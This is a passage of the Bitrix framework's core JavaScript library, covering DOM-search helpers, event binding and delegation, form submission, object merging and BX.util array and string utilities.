					textIndexes.push([lastIndex, matchScript.index - lastIndex]);

					var bRunFirst = scriptsRunFirst || (matchScript[1].indexOf('bxrunfirst') != '-1');

					if ((matchSrc = matchScript[1].match(r.script_src)) !== null)
					{
						scripts.push({"bRunFirst": bRunFirst, "isInternal": false, "JS": matchSrc[1]});
					}
					else
					{
						var start = matchScript.index + matchScript[0].length;
						var js = data.substr(start, matchScriptEnd.index-start);

						scripts.push({"bRunFirst": bRunFirst, "isInternal": true, "JS": js});
					}
				}

				lastIndex = matchScriptEnd.index + 9;
				r.script.lastIndex = lastIndex;
			}

			textIndexes.push([lastIndex, lastIndex === 0 ? data.length : data.length - lastIndex]);
			var pureData = "";
			for (var i = 0, length = textIndexes.length; i < length; i++)
			{
				if (BX.type.isString(data) && BX.type.isFunction(data.substr))
				{
					pureData += data.substr(textIndexes[i][0], textIndexes[i][1]);
				}
			}

			while ((matchStyle = pureData.match(r.style)) !== null)
			{
				if ((matchHref = matchStyle[0].match(r.style_href)) !== null && matchStyle[0].indexOf('media="') < 0)
				{
					styles.push(matchHref[1]);
				}

				pureData = pureData.replace(matchStyle[0], '');
			}

			return {'HTML': pureData, 'SCRIPT': scripts, 'STYLE': styles};
		};

		/* OO emulation utility */
		BX.extend = function(child, parent)
		{
			var f = function() {};
			f.prototype = parent.prototype;

			child.prototype = new f();
			child.prototype.constructor = child;

			child.superclass = parent.prototype;
			child.prototype.superclass = parent.prototype;
			if(parent.prototype.constructor == Object.prototype.constructor)
			{
				parent.prototype.constructor = parent;
			}
		};

		BX.is_subclass_of = function(ob, parent_class)
		{
			if (ob instanceof parent_class)
				return true;

			if (parent_class.superclass)
				return BX.is_subclass_of(ob, parent_class.superclass);

			return false;
		};

		BX.clearNodeCache = function()
		{
			return false;
		};

		BX.bitrix_sessid = function() {return BX.message("bitrix_sessid"); };

		/**
		 * Creates document fragment with child nodes.
		 *
		 * @param {Node[]} nodes
		 * @return {DocumentFragment}
		 */
		BX.createFragment = function(nodes)
		{
			var fragment = document.createDocumentFragment();

			if(!BX.type.isArray(nodes))
			{
				return fragment;
			}
			for(var i = 0; i < nodes.length; i++)
			{
				fragment.appendChild(nodes[i]);
			}

			return fragment;
		};

		/**
		 * @deprecated
		 * @use BX.style
		 * @param element
		 * @param opacity
		 */
		BX.setOpacity = function(element, opacity)
		{
			var opacityValue = parseFloat(opacity);

			if (!isNaN(opacityValue) && BX.type.isDomNode(element))
			{
				opacityValue = opacityValue < 1 ? opacityValue : opacityValue / 100;
				BX.style(element, 'opacity', opacityValue);
			}
		};

		/**
		 * @deprecated
		 * @param el
		 * @return {*}
		 */
		BX.hoverEvents = function(el)
		{
			if (el)
				return BX.adjust(el, {events: BX.hoverEvents()});
			else
				return {mouseover: BX.hoverEventsHover, mouseout: BX.hoverEventsHout};
		};

		/**
		 * @deprecated
		 */
		BX.hoverEventsHover = function(){BX.addClass(this,'bx-hover');this.BXHOVER=true;};
		/**
		 * @deprecated
		 */
		BX.hoverEventsHout = function(){BX.removeClass(this,'bx-hover');this.BXHOVER=false;};

		/**
		 * @deprecated
		 */
		BX.focusEvents = function(el)
		{
			if (el)
				return BX.adjust(el, {events: BX.focusEvents()});
			else
				return {mouseover: BX.focusEventsFocus, mouseout: BX.focusEventsBlur};
		};

		/**
		 * @deprecated
		 */
		BX.focusEventsFocus = function(){BX.addClass(this,'bx-focus');this.BXFOCUS=true;};
		/**
		 * @deprecated
		 */
		BX.focusEventsBlur = function(){BX.removeClass(this,'bx-focus');this.BXFOCUS=false;};

		BX.setUnselectable = function(node)
		{
			BX.style(node, {
				'userSelect': 'none',
				'MozUserSelect': 'none',
				'WebkitUserSelect': 'none',
				'KhtmlUserSelect': 'none',
			});
			node.setAttribute('unSelectable', 'on');
		};

		BX.setSelectable = function(node)
		{
			BX.style(node, {
				'userSelect': null,
				'MozUserSelect': null,
				'WebkitUserSelect': null,
				'KhtmlUserSelect': null,
			});
			node.removeAttribute('unSelectable');
		};

		BX.styleIEPropertyName = function(name)
		{
			if (name == 'float')
				name = BX.browser.IsIE() ? 'styleFloat' : 'cssFloat';
			else
			{
				var res = BX.browser.isPropertySupported(name);
				if (res)
				{
					name = res;
				}
				else
				{
					var reg = /(\-([a-z]){1})/g;
					if (reg.test(name))
					{
						name = name.replace(reg, function () {return arguments[2].toUpperCase();});
					}
				}
			}
			return name;
		};

		BX.focus = function(el)
		{
			try
			{
				el.focus();
				return true;
			}
			catch (e)
			{
				return false;
			}
		};

		BX.firstChild = function(el)
		{
			return BX.type.isDomNode(el) ? el.firstElementChild : null;
		};

		BX.lastChild = function(el)
		{
			return BX.type.isDomNode(el) ? el.lastElementChild : null;
		};

		BX.previousSibling = function(el)
		{
			return BX.type.isDomNode(el) ? el.previousElementSibling : null;
		};

		BX.nextSibling = function(el)
		{
			return BX.type.isDomNode(el) ? el.nextElementSibling : null;
		};

		/*
		params: {
			obj : html node
			className : className value
			recursive : used only for older browsers to optimize the tree traversal, in new browsers the search is always recursively, default - true
		}

		Search all nodes with className
	*/
		/**
		 * @deprecated
		 * @use .querySelectorAll
		 * @param obj
		 * @param className
		 * @param recursive
		 * @return {*}
		 */
		BX.findChildrenByClassName = function(obj, className, recursive)
		{
			if(!obj || !obj.childNodes) return null;

			var result = [];
			if (typeof(obj.getElementsByClassName) == 'undefined')
			{
				recursive = recursive !== false;
				result = BX.findChildren(obj, {className : className}, recursive);
			}
			else
			{
				var col = obj.getElementsByClassName(className);
				for (i=0,l=col.length;i<l;i++)
				{
					result[i] = col[i];
				}
			}
			return result;
		};

		/*
		params: {
			obj : html node
			className : className value
			recursive : used only for older browsers to optimize the tree traversal, in new browsers the search is always recursively, default - true
		}

		Search first node with className
	*/
		/**
		 * @deprecated
		 * @use .querySelector
		 * @param obj
		 * @param className
		 * @param recursive
		 * @return {*}
		 */
		BX.findChildByClassName = function(obj, className, recursive)
		{
			if(!obj || !obj.childNodes) return null;

			var result = null;
			if (typeof(obj.getElementsByClassName) == 'undefined')
			{
				recursive = recursive !== false;
				result = BX.findChild(obj, {className : className}, recursive);
			}
			else
			{
				var col = obj.getElementsByClassName(className);
				if (col && typeof(col[0]) != 'undefined')
				{
					result = col[0];
				}
				else
				{
					result = null;
				}
			}
			return result;
		};

		/*
		params: {
			tagName|tag : 'tagName',
			className|class : 'className',
			attribute : {attribute : value, attribute : value} | attribute | [attribute, attribute....],
			property : {prop: value, prop: value} | prop | [prop, prop]
		}

		all values can be RegExps or strings
	*/
		/**
		 * @deprecated
		 * @use .querySelectorAll
		 * @param obj
		 * @param params
		 * @param recursive
		 * @return {*|Node}
		 */
		BX.findChildren = function(obj, params, recursive)
		{
			return BX.findChild(obj, params, recursive, true);
		};

		/**
		 * @deprecated
		 * @use .querySelectorAll
		 * @param obj
		 * @param params
		 * @param recursive
		 * @param get_all
		 * @return {*}
		 */
		BX.findChild = function(obj, params, recursive, get_all)
		{
			if(!obj || !obj.childNodes) return null;

			recursive = !!recursive; get_all = !!get_all;

			var n = obj.childNodes.length, result = [];

			for (var j=0; j<n; j++)
			{
				var child = obj.childNodes[j];

				if (_checkNode(child, params))
				{
					if (get_all)
						result.push(child);
					else
						return child;
				}

				if(recursive == true)
				{
					var res = BX.findChild(child, params, recursive, get_all);
					if (res)
					{
						if (get_all)
							result = BX.util.array_merge(result, res);
						else
							return res;
					}
				}
			}

			if (get_all || result.length > 0)
				return result;
			else
				return null;
		};

		/**
		 * @deprecated
		 * @use .closest()
		 * @param obj
		 * @param params
		 * @param maxParent
		 * @return {*}
		 */
		BX.findParent = function(obj, params, maxParent)
		{
			if(!obj)
				return null;

			var o = obj;
			while(o.parentNode)
			{
				var parent = o.parentNode;

				if (_checkNode(parent, params))
					return parent;

				o = parent;

				if (!!maxParent &&
					(BX.type.isFunction(maxParent)
						|| typeof maxParent == 'object'))
				{
					if (BX.type.isElementNode(maxParent))
					{
						if (o == maxParent)
							break;
					}
					else
					{
						if (_checkNode(o, maxParent))
							break;
					}
				}
			}
			return null;
		};

		/**
		 * @deprecated
		 * @use .querySelector
		 * @param obj
		 * @param params
		 * @return {*}
		 */
		BX.findNextSibling = function(obj, params)
		{
			if(!obj)
				return null;
			var o = obj;
			while(o.nextSibling)
			{
				var sibling = o.nextSibling;
				if (_checkNode(sibling, params))
					return sibling;
				o = sibling;
			}
			return null;
		};

		/**
		 * @deprecated
		 * @use .querySelector
		 * @param obj
		 * @param params
		 * @return {*}
		 */
		BX.findPreviousSibling = function(obj, params)
		{
			if(!obj)
				return null;

			var o = obj;
			while(o.previousSibling)
			{
				var sibling = o.previousSibling;
				if(_checkNode(sibling, params))
					return sibling;
				o = sibling;
			}
			return null;
		};

		BX.checkNode = function(obj, params)
		{
			return _checkNode(obj, params);
		};

		/**
		 * @deprecated
		 * @use .querySelectorAll
		 * @param form
		 * @return {Array}
		 */
		BX.findFormElements = function(form)
		{
			if (BX.type.isString(form))
				form = document.forms[form]||BX(form);

			var res = [];

			if (BX.type.isElementNode(form))
			{
				if (form.tagName.toUpperCase() == 'FORM')
				{
					res = form.elements;
				}
				else
				{
					res = BX.findChildren(form, CHECK_FORM_ELEMENTS, true);
				}
			}

			return res;
		};

		/**
		 * @deprecated
		 * @use .contains()
		 * @param whichNode
		 * @param forNode
		 * @return {boolean}
		 */
		BX.isParentForNode = function(whichNode, forNode)
		{
			if (BX.type.isDomNode(whichNode) && BX.type.isDomNode(forNode))
			{
				return whichNode.contains(forNode);
			}

			return false;
		};

		BX.getCaretPosition = function(node)
		{
			var pos = 0;

			if(node.selectionStart || node.selectionStart == 0)
			{
				pos = node.selectionStart;
			}
			else if(document.selection)
			{
				node.focus();
				var selection = document.selection.createRange();
				selection.moveStart('character', -node.value.length);
				pos = selection.text.length;
			}

			return (pos);
		};

		BX.setCaretPosition = function(node, pos)
		{
			if(!BX.isNodeInDom(node) || BX.isNodeHidden(node) || node.disabled)
			{
				return;
			}

			if(node.setSelectionRange)
			{
				node.focus();
				node.setSelectionRange(pos, pos);
			}
			else if(node.createTextRange)
			{
				var range = node.createTextRange();
				range.collapse(true);
				range.moveEnd('character', pos);
				range.moveStart('character', pos);
				range.select();
			}
		};

		// access private. use BX.mergeEx instead.
		// todo: refactor BX.merge, make it work through BX.mergeEx
		BX.merge = function(){
			var arg = Array.prototype.slice.call(arguments);

			if(arg.length < 2)
				return {};

			var result = arg.shift();

			for(var i = 0; i < arg.length; i++)
			{
				for(var k in arg[i]){

					if(typeof arg[i] == 'undefined' || arg[i] == null)
						continue;

					if(arg[i].hasOwnProperty(k)){

						if(typeof arg[i][k] == 'undefined' || arg[i][k] == null)
							continue;

						if(typeof arg[i][k] == 'object' && !BX.type.isDomNode(arg[i][k]) && (typeof arg[i][k]['isUIWidget'] == 'undefined')){

							// go deeper

							var isArray = 'length' in arg[i][k];

							if(typeof result[k] != 'object')
								result[k] = isArray ? [] : {};

							if(isArray)
								BX.util.array_merge(result[k], arg[i][k]);
							else
								BX.merge(result[k], arg[i][k]);

						}else
							result[k] = arg[i][k];
					}
				}
			}

			return result;
		};

		BX.mergeEx = function()
		{
			var arg = Array.prototype.slice.call(arguments);
			if(arg.length < 2)
			{
				return {};
			}

			var result = arg.shift();
			for (var i = 0; i < arg.length; i++)
			{
				for (var k in arg[i])
				{
					if (typeof arg[i] == "undefined" || arg[i] == null || !arg[i].hasOwnProperty(k))
					{
						continue;
					}

					if (BX.type.isPlainObject(arg[i][k]) && BX.type.isPlainObject(result[k]))
					{
						BX.mergeEx(result[k], arg[i][k]);
					}
					else
					{
						result[k] = BX.type.isPlainObject(arg[i][k]) ? BX.clone(arg[i][k]) : arg[i][k];
					}
				}
			}

			return result;
		};

		BX.getEventButton = function(e)
		{
			e = e || window.event;

			var flags = 0;

			if (typeof e.which != 'undefined')
			{
				switch (e.which)
				{
					case 1: flags = flags|BX.MSLEFT; break;
					case 2: flags = flags|BX.MSMIDDLE; break;
					case 3: flags = flags|BX.MSRIGHT; break;
				}
			}
			else if (typeof e.button != 'undefined')
			{
				flags = event.button;
			}

			return flags || BX.MSLEFT;
		};

		var captured_events = null, _bind = null;
		BX.CaptureEvents = function(el_c, evname_c)
		{
			if (_bind)
				return;

			_bind = BX.bind;
			captured_events = [];

			BX.bind = function(el, evname, func)
			{
				if (el === el_c && evname === evname_c)
					captured_events.push(func);

				_bind.apply(this, arguments);
			}
		};

		BX.CaptureEventsGet = function()
		{
			if (_bind)
			{
				BX.bind = _bind;

				var captured = captured_events;

				_bind = null;
				captured_events = null;
				return captured;
			}
			return null;
		};

		// Don't even try to use it for submit event!
		BX.fireEvent = function(ob,ev)
		{
			var result = false, e = null;
			if (BX.type.isDomNode(ob))
			{
				result = true;
				if (document.createEventObject)
				{
					// IE
					if (eventTypes[ev] != 'MouseEvent')
					{
						e = document.createEventObject();
						e.type = ev;
						result = ob.fireEvent('on' + ev, e);
					}

					if (ob[ev])
					{
						ob[ev]();
					}
				}
				else
				{
					// non-IE
					e = null;

					switch (eventTypes[ev])
					{
						case 'MouseEvent':
							e = document.createEvent('MouseEvent');
							try
							{
								e.initMouseEvent(ev, true, true, top, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, null);
							}
							catch (initException)
							{
								e.initMouseEvent(ev, true, true, window, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, null);
							}

							break;
						default:
							e = document.createEvent('Event');
							e.initEvent(ev, true, true);
					}

					result = ob.dispatchEvent(e);
				}
			}

			return result;
		};

		BX.getWheelData = function(e)
		{
			e = e || window.event;
			e.wheelData = e.detail ? e.detail * -1 : e.wheelDelta / 40;
			return e.wheelData;
		};

		BX.proxy_context = null;

		BX.delegate = function (func, thisObject)
		{
			if (!func || !thisObject)
				return func;

			return function() {
				var cur = BX.proxy_context;
				BX.proxy_context = this;
				var res = func.apply(thisObject, arguments);
				BX.proxy_context = cur;
				return res;
			}
		};

		BX.delegateLater = function (func_name, thisObject, contextObject)
		{
			return function()
			{
				if (thisObject[func_name])
				{
					var cur = BX.proxy_context;
					BX.proxy_context = this;
					var res = thisObject[func_name].apply(contextObject||thisObject, arguments);
					BX.proxy_context = cur;
					return res;
				}
				return null;
			}
		};

		BX.proxy = function(func, thisObject)
		{
			return getObjectDelegate(func, thisObject, proxyList);
		};

		BX.defer = function(func, thisObject)
		{
			if (!!thisObject)
				return BX.defer_proxy(func, thisObject);
			else
				return function() {
					var arg = arguments;
					setTimeout(function(){func.apply(this,arg)}, 10);
				};
		};

		BX.defer_proxy = function(func, thisObject)
		{
			return getObjectDelegate(func, thisObject, deferList, BX.defer);
		};

		/**
		 *
		 * @private
		 */
		function getObjectDelegate(func, thisObject, collection, decorator)
		{
			if (!BX.type.isFunction(func) || !BX.type.isMapKey(thisObject))
			{
				return func;
			}

			var objectDelegates = collection.get(thisObject);
			if (!objectDelegates)
			{
				objectDelegates = new WeakMap();
				collection.set(thisObject, objectDelegates);
			}

			var delegate = objectDelegates.get(func);
			if (!delegate)
			{
				delegate = decorator ? decorator(BX.delegate(func, thisObject)) : BX.delegate(func, thisObject);
				objectDelegates.set(func, delegate);
			}

			return delegate;
		}

		BX.once = function(el, evname, func)
		{
			var fn = function()
			{
				BX.unbind(el, evname, fn);
				func.apply(this, arguments);
			};

			return fn;
		};

		BX.bindDelegate = function (elem, eventName, isTarget, handler)
		{
			var h = BX.delegateEvent(isTarget, handler);
			BX.bind(elem, eventName, h);
			return h;
		};

		BX.delegateEvent = function(isTarget, handler)
		{
			return function(e)
			{
				e = e || window.event;
				var target = e.target || e.srcElement;

				while (target != this)
				{
					if (_checkNode(target, isTarget))
					{
						return handler.call(target, e);
					}
					if (target && target.parentNode)
						target = target.parentNode;
					else
						break;
				}
				return null;
			}
		};

		BX.False = function() {return false;};
		BX.DoNothing = function() {};

		// TODO: also check event handlers set via BX.bind()
		BX.denyEvent = function(el, ev)
		{
			deniedEvents.push([el, ev, el['on' + ev]]);
			el['on' + ev] = BX.DoNothing;
		};

		BX.allowEvent = function(el, ev)
		{
			for(var i=0, len=deniedEvents.length; i<len; i++)
			{
				if (deniedEvents[i][0] == el && deniedEvents[i][1] == ev)
				{
					el['on' + ev] = deniedEvents[i][2];
					BX.util.deleteFromArray(deniedEvents, i);
					return;
				}
			}
		};

		BX.fixEventPageXY = function(event)
		{
			BX.fixEventPageX(event);
			BX.fixEventPageY(event);
			return event;
		};

		BX.fixEventPageX = function(event)
		{
			if (event.pageX == null && event.clientX != null)
			{
				event.pageX =
					event.clientX +
					(document.documentElement && document.documentElement.scrollLeft || document.body && document.body.scrollLeft || 0) -
					(document.documentElement.clientLeft || 0);
			}

			return event;
		};

		BX.fixEventPageY = function(event)
		{
			if (event.pageY == null && event.clientY != null)
			{
				event.pageY =
					event.clientY +
					(document.documentElement && document.documentElement.scrollTop || document.body && document.body.scrollTop || 0) -
					(document.documentElement.clientTop || 0);
			}

			return event;
		};

		/**
		 * @deprecated
		 * @see e.preventDefault()
		 */
		BX.PreventDefault = function(e)
		{
			if(!e) e = window.event;
			if(e.stopPropagation)
			{
				e.preventDefault();
				e.stopPropagation();
			}
			else
			{
				e.cancelBubble = true;
				e.returnValue = false;
			}
			return false;
		};

		/**
		 * @deprecated
		 * @see e.preventDefault();
		 *
		 * @param e
		 * @return {boolean}
		 */
		BX.eventReturnFalse = function(e)
		{
			e=e||window.event;
			if (e && e.preventDefault) e.preventDefault();
			else e.returnValue = false;
			return false;
		};

		/**
		 * @deprecated
		 * @see e.stopPropagation()
		 * @param e
		 */
		BX.eventCancelBubble = function(e)
		{
			e=e||window.event;
			if(e && e.stopPropagation)
				e.stopPropagation();
			else
				e.cancelBubble = true;
		};

		BX.bindDebouncedChange = function(node, fn, fnInstant, timeout, ctx)
		{
			ctx = ctx || window;
			timeout = timeout || 300;

			var dataTag = 'bx-dc-previous-value';
			BX.data(node, dataTag, node.value);

			var act = function(fn, val){

				var pVal = BX.data(node, dataTag);

				if(typeof pVal == 'undefined' || pVal != val){
					if(typeof ctx != 'object')
						fn(val);
					else
						fn.apply(ctx, [val]);
				}
			};

			var actD = BX.debounce(function(){
				var val = node.value;
				act(fn, val);
				BX.data(node, dataTag, val);
			}, timeout);

			BX.bind(node, 'keyup', actD);
			BX.bind(node, 'change', actD);
			BX.bind(node, 'input', actD);

			if(BX.type.isFunction(fnInstant)){

				var actI = function(){
					act(fnInstant, node.value);
				};

				BX.bind(node, 'keyup', actI);
				BX.bind(node, 'change', actI);
				BX.bind(node, 'input', actI);
			}
		};

		BX.parseJSON = function(data, context)
		{
			var result = null;
			if (BX.type.isNotEmptyString(data))
			{
				try {
					if (data.indexOf("\n") >= 0)
						eval('result = ' + data);
					else
						result = (new Function("return " + data))();
				} catch(e) {
					BX.onCustomEvent(context, 'onParseJSONFailure', [data, context])
				}
			}
			else if(BX.type.isPlainObject(data))
			{
				return data;
			}

			return result;
		};

		BX.submit = function(obForm, action_name, action_value, onAfterSubmit)
		{
			action_name = action_name || 'save';
			if (!obForm['BXFormSubmit_' + action_name])
			{
				obForm['BXFormSubmit_' + action_name] = obForm.appendChild(BX.create('INPUT', {
					'props': {
						'type': 'submit',
						'name': action_name,
						'value': action_value || 'Y'
					},
					'style': {
						'display': 'none'
					}
				}));
			}

			if (obForm.sessid)
				obForm.sessid.value = BX.bitrix_sessid();

			setTimeout(BX.delegate(function() {BX.fireEvent(this, 'click'); if (onAfterSubmit) onAfterSubmit();}, obForm['BXFormSubmit_' + action_name]), 10);
		};

		BX.show = function(ob, displayType)
		{
			if (ob.BXDISPLAY || !_checkDisplay(ob, displayType))
			{
				ob.style.display = ob.BXDISPLAY;
			}
		};

		BX.hide = function(ob, displayType)
		{
			if (!ob.BXDISPLAY)
				_checkDisplay(ob, displayType);

			ob.style.display = 'none';
		};

		BX.toggle = function(ob, values)
		{
			if (!values && BX.type.isElementNode(ob))
			{
				var bShow = true;
				if (ob.BXDISPLAY)
					bShow = !_checkDisplay(ob);
				else
					bShow = ob.style.display == 'none';

				if (bShow)
					BX.show(ob);
				else
					BX.hide(ob);
			}
			else if (BX.type.isArray(values))
			{
				for (var i=0,len=values.length; i<len; i++)
				{
					if (ob == values[i])
					{
						ob = values[i==len-1 ? 0 : i+1];
						break;
					}
				}
				if (i==len)
					ob = values[0];
			}

			return ob;
		};

		function _checkDisplay(ob, displayType)
		{
			if (typeof displayType != 'undefined')
				ob.BXDISPLAY = displayType;

			var d = ob.style.display || BX.style(ob, 'display');
			if (d != 'none')
			{
				ob.BXDISPLAY = ob.BXDISPLAY || d;
				return true;
			}
			else
			{
				ob.BXDISPLAY = ob.BXDISPLAY || 'block';
				return false;
			}
		}

		/* some useful util functions */

		BX.util = {
			/**
			 * @deprecated
			 * @use [].filter(value => !BX.Type.isNil(value))
			 * @param ar
			 * @return {*}
			 */
			array_values: function(ar)
			{
				if (!BX.type.isArray(ar))
					return BX.util._array_values_ob(ar);
				var arv = [];
				for(var i=0,l=ar.length;i<l;i++)
					if (ar[i] !== null && typeof ar[i] != 'undefined')
						arv.push(ar[i]);
				return arv;
			},

			/**
			 * @deprecated
			 * @use Object.values([]).filter(value => !BX.Type.isNil(value))
			 * @param ar
			 * @return {Array}
			 * @private
			 */
			_array_values_ob: function(ar)
			{
				var arv = [];
				for(var i in ar)
					if (ar[i] !== null && typeof ar[i] != 'undefined')
						arv.push(ar[i]);
				return arv;
			},

			/**
			 * @deprecated
			 * @use
			 * @param ar
			 * @return {*}
			 */
			array_keys: function(ar)
			{
				if (!BX.type.isArray(ar))
					return BX.util._array_keys_ob(ar);
				var arv = [];
				for(var i=0,l=ar.length;i<l;i++)
					if (ar[i] !== null && typeof ar[i] != 'undefined')
						arv.push(i);
				return arv;
			},

			_array_keys_ob: function(ar)
			{
				var arv = [];
				for(var i in ar)
					if (ar[i] !== null && typeof ar[i] != 'undefined')
						arv.push(i);
				return arv;
			},

			object_keys: function(obj)
			{
				var arv = [];
				for(var k in obj)
				{
					if(obj.hasOwnProperty(k))
					{
						arv.push(k);
					}
				}
				return arv;
			},

			/**
			 * @deprecated
			 * @use firstArr.concat(secondArr);
			 * @param first
			 * @param second
			 * @return {*[]}
			 */
			array_merge: function(first, second)
			{
				if (!BX.type.isArray(first)) first = [];
				if (!BX.type.isArray(second)) second = [];

				var i = first.length, j = 0;

				if (typeof second.length === "number")
				{
					for (var l = second.length; j < l; j++)
					{
						first[i++] = second[j];
					}
				}
				else
				{
					while (second[j] !== undefined)
					{
						first[i++] = second[j++];
					}
				}

				first.length = i;

				return first;
			},

			array_flip: function (object)
			{
				var newObject = {};

				for (var key in object)
				{
					newObject[object[key]] = key;
				}

				return newObject;
			},

			array_diff: function(ar1, ar2, hash)
			{
				hash = BX.type.isFunction(hash) ? hash : null;
				var i, length, v, h, map = {}, result = [];
				for(i = 0, length = ar2.length; i < length; i++)
				{
					v = ar2[i];
					h = hash ? hash(v) : v;
					map[h] = true;
				}

				for(i = 0, length = ar1.length; i < length; i++)
				{
					v = ar1[i];
					h = hash ? hash(v) : v;
					if(typeof(map[h]) === "undefined")
					{
						result.push(v);
					}
				}
				return result;
			},

			/**
			 * @deprecated
			 * @use Set
			 */
			array_unique: function(ar)
			{
				var i=0,j,len=ar.length;
				if(len<2) return ar;

				for (; i<len-1;i++)
				{
					for (j=i+1; j<len;j++)
					{
						if (ar[i]==ar[j])
						{
							ar.splice(j--,1); len--;
						}
					}
				}

				return ar;
			},

			/**
			 * @deprecated
			 * @use myArr.includes(needle)
			 */
			in_array: function(needle, haystack)
			{
				for(var i=0; i<haystack.length; i++)
				{
					if(haystack[i] == needle)
						return true;
				}
				return false;
			},

			/**
			 * @deprecated
			 * @use myArr.findIndex(item => item === needle);
			 */
			array_search: function(needle, haystack)
			{
				for(var i=0; i<haystack.length; i++)
				{
					if(haystack[i] == needle)
						return i;
				}
				return -1;
			},

			object_search_key: function(needle, haystack)
			{
				if (typeof haystack[needle] != 'undefined')
					return haystack[needle];

				for(var i in haystack)
				{
					if (typeof haystack[i] == "object")
					{
						var result = BX.util.object_search_key(needle, haystack[i]);
						if (result !== false)
							return result;
					}
				}
				return false;
			},

			trim: function(s)
			{
				if (BX.type.isString(s))
				{
					return s.trim();
				}

				return s;
			},

			urlencode: function(s){return encodeURIComponent(s);},

			// it may also be useful. via sVD.
			deleteFromArray: function(ar, ind) {return ar.slice(0, ind).concat(ar.slice(ind + 1));},
			insertIntoArray: function(ar, ind, el) {return ar.slice(0, ind).concat([el]).concat(ar.slice(ind));},

			htmlspecialchars: function(str)
			{
				return BX.Text.encode(str);
			},

			htmlspecialcharsback: function(str)
			{
				return BX.Text.decode(str);
			},

			// Quote regular expression characters plus an optional character
			preg_quote: function(str, delimiter)
			{
				if(!str.replace)
					return str;
				return str.replace(new RegExp('[.\\\\+*?\\[\\^\\]$(){}=!<>|:\\' + (delimiter || '') + '-]', 'g'), '\\$&');
			},

			jsencode: function(str)
			{
				if (!str || !str.replace)
					return str;

				var escapes =
					[
						{ c: "\\\\", r: "\\\\" }, // should be first
						{ c: "\\t", r: "\\t" },
						{ c: "\\n", r: "\\n" },
						{ c: "\\r", r: "\\r" },
						{ c: "\"", r: "\\\"" },
						{ c: "'", r: "\\'" },
						{ c: "<", r: "\\x3C" },
						{ c: ">", r: "\\x3E" },
						{ c: "\\u2028", r: "\\u2028" },
						{ c: "\\u2029", r: "\\u2029" }
					];
				for (var i = 0; i < escapes.length; i++)
					str = str.replace(new RegExp(escapes[i].c, 'g'), escapes[i].r);
				return str;
			},

			getCssName: function(jsName)
			{
				if (!BX.type.isNotEmptyString(jsName))
				{
					return "";
				}

				return jsName.replace(/[A-Z]/g, function(match) {
					return "-" + match.toLowerCase();
				});
			},

			getJsName: function(cssName)
			{
				var regex = /\-([a-z]){1}/g;
				if (regex.test(cssName))
				{
					return cssName.replace(regex, function(match, letter) {
						return letter.toUpperCase();
					});
				}

				return cssName;
			},

			nl2br: function(str)
			{
				if (!str || !str.replace)
					return str;

				return str.replace(/([^>])\n/g, '$1<br/>');
			},

			/**
			 * @deprecated
			 * @use .padStart() / .padEnd()
			 * @param input
			 * @param pad_length
			 * @param pad_string
			 * @param pad_type
			 * @return {*}
			 */
			str_pad: function(input, pad_length, pad_string, pad_type)
			{
				pad_string = pad_string || ' ';
				pad_type = pad_type || 'right';
				input = input.toString();

				if (pad_type === 'left')
				{
					return BX.util.str_pad_left(input, pad_length, pad_string);
				}

				return BX.util.str_pad_right(input, pad_length, pad_string);
			},

			str_pad_left: function(input, pad_length, pad_string)
			{
				return input.toString().padStart(pad_length, pad_string);
			},

			str_pad_right: function(input, pad_length, pad_string)
			{
				return input.toString().padEnd(pad_length, pad_string);
			},

			strip_tags: function(str)
			{
				return str.split(/<[^>]+>/g).join('');
			},

			strip_php_tags: function(str)
			{
				return str.replace(/<\?(.|[\r\n])*?\?>/g, '');
			},

			popup: function(url, width, height)
			{
				var w, h;
				if(BX.browser.IsOpera())
				{
					w = document.body.offsetWidth;
					h = document.body.offsetHeight;
				}
				else
				{
					w = screen.width;
					h = screen.height;
				}
				return window.open(url, '', 'status=no,scrollbars=yes,resizable=yes,width='+width+',height='+height+',top='+Math.floor((h - height)/2-14)+',left='+Math.floor((w - width)/2-5));
			},

			shuffle: function(array)
			{
				var temporaryValue, randomIndex;
				var currentIndex = array.length;

				while (0 !== currentIndex)
				{
					randomIndex = Math.floor(Math.random() * currentIndex);
					currentIndex -= 1;

					temporaryValue = array[currentIndex];
					array[currentIndex] = array[randomIndex];
					array[randomIndex] = temporaryValue;
				}

				return array;
			},

			// BX.util.objectSort(object, sortBy, sortDir) - Sort object by property
			// function params: 1 - object for sort, 2 - sort by property, 3 - sort direction (asc/desc)
			// return: sort array [[objectElement], [objectElement]] in sortDir direction

			// example: BX.util.objectSort({'L1': {'name': 'Last'}, 'F1': {'name': 'First'}}, 'name', 'asc');
			// return: [{'name' : 'First'}, {'name' : 'Last'}]
			objectSort: function(object, sortBy, sortDir)
			{
				sortDir = sortDir == 'asc'? 'asc': 'desc';

				var arItems = [], i;
				for (i in object)
				{
					if (object.hasOwnProperty(i) && object[i][sortBy])
					{
						arItems.push([i, object[i][sortBy]]);
					}
				}

				if (sortDir == 'asc')
				{
					arItems.sort(function(i, ii) {
						var s1, s2;
						if (BX.type.isDate(i[1]))
						{
							s1 = i[1].getTime();
						}
						else if (!isNaN(i[1]))
						{
							s1 = parseInt(i[1]);
						}
						else
						{
							s1 = i[1].toString().toLowerCase();
						}

						if (BX.type.isDate(ii[1]))
						{
							s2 = ii[1].getTime();
						}
						else if (!isNaN(ii[1]))
						{
							s2 = parseInt(ii[1]);
						}
						else
						{
							s2 = ii[1].toString().toLowerCase();
						}

						if (s1 > s2)
							return 1;
						else if (s1 < s2)
							return -1;
						else
							return 0;
					});
				}
				else
				{
					arItems.sort(function(i, ii) {
						var s1, s2;
						if (BX.type.isDate(i[1]))
						{
							s1 = i[1].getTime();
						}
						else if (!isNaN(i[1]))
						{
							s1 = parseInt(i[1]);
						}
						else
						{
							s1 = i[1].toString().toLowerCase();
						}

						if (BX.type.isDate(ii[1]))
						{
							s2 = ii[1].getTime();
						}
						else if (!isNaN(ii[1]))
						{
							s2 = parseInt(ii[1]);
						}
						else
						{
							s2 = ii[1].toString().toLowerCase();
						}

						if (s1 < s2)
							return 1;
						else if (s1 > s2)
							return -1;
						else
							return 0;
					});
				}

				var arReturnArray = Array();
				for (i = 0; i < arItems.length; i++)
				{
					arReturnArray.push(object[arItems[i][0]]);
				}

				return arReturnArray;
			},

			objectMerge: function()
			{
				return BX.mergeEx.apply(window, arguments);
			},

			objectClone : function(object)
			{
				return BX.clone(object, true);
			},

			// #fdf9e5 => {r=253, g=249, b=229}
			hex2rgb: function(color)
			{
